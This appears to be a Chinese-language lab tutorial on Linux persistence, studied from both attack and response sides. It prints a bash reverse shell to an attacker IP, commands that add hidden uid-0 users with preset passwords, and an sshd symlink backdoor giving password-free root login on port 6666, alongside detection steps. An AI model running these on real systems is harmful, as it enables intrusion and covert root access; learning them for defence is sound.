目的
本文主要是学习linux
下的权限维持的方法,本文因为写的时间很久了,文章有点乱。
本文仅对linux
的权限维持做了非常微小的学习,文中会从攻和防的角度,在借助学习其它文章的前提下进行学习。
文章所有的操作都是网上已有的技术,仅供参考,如有错误,欢迎指正。
1. 环境准备
靶机ip
:centos
10.50.0.16
运维管理机:centos
10.50.0.152
攻击机ip
:mac
10.30.3.49
首先使用运维机器对靶机进行管理:
此时w
命令显示当前存在一个用户,显示ssh
的ip
为运维机器ip
,一切正常,将用户切换到root
,再看下连接信息:
此时运维机器和靶机进行正常的通讯。此时端口扫描看下:
靶机开放了22
端口。
1.1 反弹shell
再使用bash
命令反弹靶机到攻击机上,在攻击机上进行操作,然后在测试机器上进行检查,是否存在相应的痕迹:
bash -c 'exec bash -i &>/dev/tcp/10.30.3.49/888 <&1'
弹了shell
之后,再将原来弹会话的机器的ssh
断开,防止其干扰:
此时检测该机器是否有通讯:
netstat -ano
这边可以清晰的看到存在一个异常的ip
通讯。
2. 权限维持方法
2.1 添加用户
这个操作先在反弹bash
的攻击机上进行:先看下当前已有的历史命令,这是反弹回来的操作命令:
也可以使用这个指令看下:
再看下当前的passwd
和shadow
文件:
2.1.1 方法1
一句话添加root
用户:
# 创建一个用户名为guest,密码为123456的root用户 useradd -p `openssl passwd -1 -salt 'salt' 123456` guest -o -u 0 -g root -G root -s /bin/bash -d /home/guest
添加之后,从里面可看到当前多了一个guest
的用户:
在这里看到shadow
里面多了一个密码:
在这里一看就是被入侵了,此时运维可以直接删除。
2.1.2 方法2
ssh新建用户: echo "system:adk6oNRwypFwA:0:0:eval_to_root:/root:/bin/bash" >> /etc/passwd 账号:system 密码:admin123
更多生成密码的方法:
https://blog.csdn.net/qq_44159028/article/details/124242529
查询发现,当前在passwd
中多了一个用户,但是在shadow
里面是检测不到的,此时也会被发现:
此时在管理端是可以发现,新建了一个用户的文件夹,所以两种方法创建的用户都是非常容易被发现的:
2.2 建立sshd 软连接(容易被发现)
原理性的东西都来自:
https://zhuanlan.kanxue.com/article-16246.htm
2.2.1 利用条件
Linux
软连接ssh
后门需要ssh
配置允许PAM
认证才能使用。ssh
配置中开启了PAM
进行身份验证,查看是否使用PAM
进行身份验证:
cat /etc/ssh/sshd_config | grep UsePAM
2.2.2 利用原理
pam_rootok.so 模块 pam_rootok.so 主要作用是使得uid为0的用户,即root用户可以直接通过认证而不需要输入密码。
cat etc/pam.d/su
1.PAM认证机制,若sshd服务中开启了PAM认证机制(默认开启),当程序执行时,PAM模块则会搜寻PAM相关设定文件,设定文件一般是在/etc/pam.d/。若关闭则会验证密码,无法建立软链接后门。 2.当我们通过特定的端口连接ssh后,应用在启动过程中就会去找到配置文件,如:我们的软链接文件为/tmp/su,那么应用就会找/etc/pam.d/su作为配置文件,那么则实现了无密登录。
2.2.3 使用方法
此时可以在靶机上建立一个软链接:
ln -sf /usr/sbin/sshd /tmp/su; /tmp/su -oPort=6666;
软连接的路径不是绝对的,但是名称是绝对的,使用命令:
find /etc/pam.d|xargs grep "pam_rootok"
在反弹shell
的机器上输入以上命令:
ln -sf /usr/sbin/sshd /tmp/su; /tmp/su -oPort=6666;
此时使用端口扫描工具看下:
6666
端口是开启的,那如何连接呢?
ssh root@10.50.0.16 -p 6666
此时只需要输入任意用户名就可以直接连接,但是通过w选项可以看到当前是有一个root
用户登录的:
2.2.4 应急方法
参考:
https://blog.csdn.net/weixin_40412037/article/details/117447832
第一步:查看服务器开放的端口号
netstat -anpt
当然,这个图里面问题很多,我们在这里只讨论软连接的情况。
发现开启有6666
的异常端口,且名字为su
、root@pts/
,且su
的PID 为17650
。
查看PID
17650
所使用的程序为ssh
ll /proc/17650